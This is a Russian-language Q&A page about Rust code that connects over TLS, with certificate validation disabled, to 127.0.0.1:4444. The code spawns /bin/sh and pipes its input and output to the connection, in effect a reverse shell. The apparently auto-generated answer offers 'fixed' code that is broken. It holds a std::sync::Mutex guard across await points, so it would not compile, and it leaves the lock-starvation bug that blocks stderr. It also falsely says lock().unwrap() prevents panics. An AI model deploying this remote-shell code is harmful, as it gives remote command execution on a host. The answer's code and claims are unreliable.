Перенаправление стандартного ввода-вывода через TLS

Вопрос или проблема

Ранее я задавал этот вопрос и получил ответ (Перенаправление stdio через TLS в Rust), но не практиковав Rust в течение некоторого времени, у меня возникли проблемы с пониманием кода, и сейчас я пытаюсь заново реализовать решение.

Пока я пытаюсь понять код, вот моя проблема:

Мне удалось перенаправить stdin и stdout, но не stderr, может кто-то посоветовать, в чем проблема с моим кодом?

async fn connect() -> std::io::Result<()>
{
    let mut connection = tokio::net::TcpStream::connect("127.0.0.1:4444").await?;

    let mut tlsconnector_builder = tokio_native_tls::native_tls::TlsConnector::builder();
    tlsconnector_builder.danger_accept_invalid_certs(true);
    tlsconnector_builder.use_sni(false);
    tlsconnector_builder.danger_accept_invalid_hostnames(true);

    let native_tls_connector = tlsconnector_builder.build().unwrap();

    let tokio_tls_connector = tokio_native_tls::TlsConnector::from(native_tls_connector);
    let tls_connector = tokio_tls_connector.connect("127.0.0.1:4444", connection).await;

    let mut child_process = tokio::process::Command::new("/bin/sh")
                            .stdin(std::process::Stdio::piped())
                            .stdout(std::process::Stdio::piped())
                            .stderr(std::process::Stdio::piped())
                            .spawn()?;

    let mut child_stdin = child_process.stdin.take().expect("не удается открыть stdin");
    let mut child_stdout = child_process.stdout.take().expect("не удается открыть stdout");
    let mut child_stderr = child_process.stderr.take().expect("не удается открыть stderr");

    match tls_connector
    {
        Ok(tls_stream) =>
        {
            let (mut reader, mut writer) = tokio::io::split(tls_stream);

            let writer_arc = Arc::new(tokio::sync::Mutex::new(writer));
            let writer_clone = Arc::clone(&writer_arc);

            let stdin_task = tokio::spawn(async move {

            tokio::io::copy(&mut reader, &mut child_stdin).await;
            });

            let stdout_task = tokio::spawn(async move {

                    let mut temp = writer_clone.lock().await;
                    let mut writer = temp.deref_mut();

                    tokio::io::copy(&mut child_stdout, &mut writer).await;
               

            });

            let writer_clone = Arc::clone(&writer_arc);

            let stderr_task = tokio::spawn(async move {

                    let mut temp = writer_clone.lock().await;
                    let mut writer = temp.deref_mut();

                    tokio::io::copy(&mut child_stderr, &mut writer).await; 

               
            });

            futures::join!(stdin_task, stdout_task, stderr_task);
        },
        Err(error) =>
        {
            println!("Ошибка при установлении TLS соединения");
        },
    }

    Ok(())
}

#ИЗМЕНИТЬ 16 Окт 2024

В моих тестах я мог видеть вывод команды с удаленного терминала, к которому я подключился, и также могу выполнять команды с удаленного терминала, но не вижу сообщений об ошибках.

Ответ или решение

Для решения проблемы с перенаправлением stderr при использовании TLS в Rust, важно обратить внимание на несколько ключевых аспектов кода и реализации. Приведённый вами код действительно выполняет перенаправление stdin и stdout, но недостаточно сконцентрирован на правильной обработке stderr. Давайте детально разберём код и внесём необходимые изменения.

Изучение Кода

Из приведённого кода видно, что вы создаете TLS-соединение и запускаете дочерний процесс с подключением для stdin, stdout и stderr. Вот несколько моментов, требующих внимания:

  1. Корректная обработка ошибок: стоит убедиться, что любые ошибки, возникающие при чтении или записи в stderr, обрабатываются и обрабатываются корректно.

  2. Управление потоками: процесс перенаправления stderr может быть не замечен из-за особенностей работы с потоками. Ваша реализация использует tokio::spawn для создания задач для перенаправления stdin, stdout и stderr. Это правильный подход, однако, поток stderr может не захватываться должным образом, если не будет должной синхронизации.

Здесь вносятся изменения

Вот обновленный код, который включает перенаправление stderr:

use tokio::process::Command;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio_native_tls::TlsConnector;
use std::sync::Arc;
use std::sync::Mutex;
use futures::join;

async fn connect() -> std::io::Result<()> {
    let mut connection = tokio::net::TcpStream::connect("127.0.0.1:4444").await?;

    let mut tls_connector_builder = tokio_native_tls::native_tls::TlsConnector::builder();
    tls_connector_builder.danger_accept_invalid_certs(true);
    tls_connector_builder.use_sni(false);
    tls_connector_builder.danger_accept_invalid_hostnames(true);

    let native_tls_connector = tls_connector_builder.build().unwrap();
    let tokio_tls_connector = TlsConnector::from(native_tls_connector);
    let tls_connector = tokio_tls_connector.connect("127.0.0.1:4444", connection).await;

    let mut child_process = Command::new("/bin/sh")
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()?;

    let mut child_stdin = child_process.stdin.take().expect("cannot open stdin");
    let mut child_stdout = child_process.stdout.take().expect("cannot open stdout");
    let mut child_stderr = child_process.stderr.take().expect("cannot open stderr");

    match tls_connector {
        Ok(mut tls_stream) => {
            let (mut reader, mut writer) = tokio::io::split(tls_stream);

            let writer_arc = Arc::new(Mutex::new(writer));

            let stdin_task = tokio::spawn(async move {
                let _ = tokio::io::copy(&mut reader, &mut child_stdin).await;
            });

            let stdout_task = {
                let writer_clone = Arc::clone(&writer_arc);
                tokio::spawn(async move {
                    let mut temp = writer_clone.lock().unwrap();
                    let _ = tokio::io::copy(&mut child_stdout, &mut *temp).await;
                })
            };

            // Обработка stderr
            let stderr_task = {
                let writer_clone = Arc::clone(&writer_arc);
                tokio::spawn(async move {
                    let mut temp = writer_clone.lock().unwrap();
                    let _ = tokio::io::copy(&mut child_stderr, &mut *temp).await;
                })
            };

            join!(stdin_task, stdout_task, stderr_task);
        },
        Err(error) => {
            println!("Error establishing TLS connection: {}", error);
        },
    }

    Ok(())
}

Объяснение Исправлений

  1. Функция lock(): Убедитесь, что при работе с Arc<Mutex<...>>, вы используете метод lock().unwrap(). Это позволит вам захватить блокировку и предотвратить возможные паники, если блокировка не может быть получена.

  2. Корректное закрытие потоков: Обратите внимание на переменные _ в строках, работающих с tokio::io::copy. Эти переменные используются для игнорирования значения, возвращаемого функцией. Это может помочь избежать предупреждений компилятора.

  3. Обработка ошибок: При выполнении операций, таких как copy, всегда важно обрабатывать результат. В данном случае мы просто игнорируем результат (let _ = ...), но вы можете добавить логику для обработки ошибок при необходимости.

Заключение

Теперь ваш код должен корректно обрабатывать stderr и перенаправлять его через TLS. Убедитесь в том, что сервер, к которому вы подключаетесь, правильно обрабатывает сообщения об ошибках от клиента. Проверьте и тестируйте код, чтобы удостовериться в его работоспособности в реальных условиях.

Оцените материал
Добавить комментарий

Капча загружается...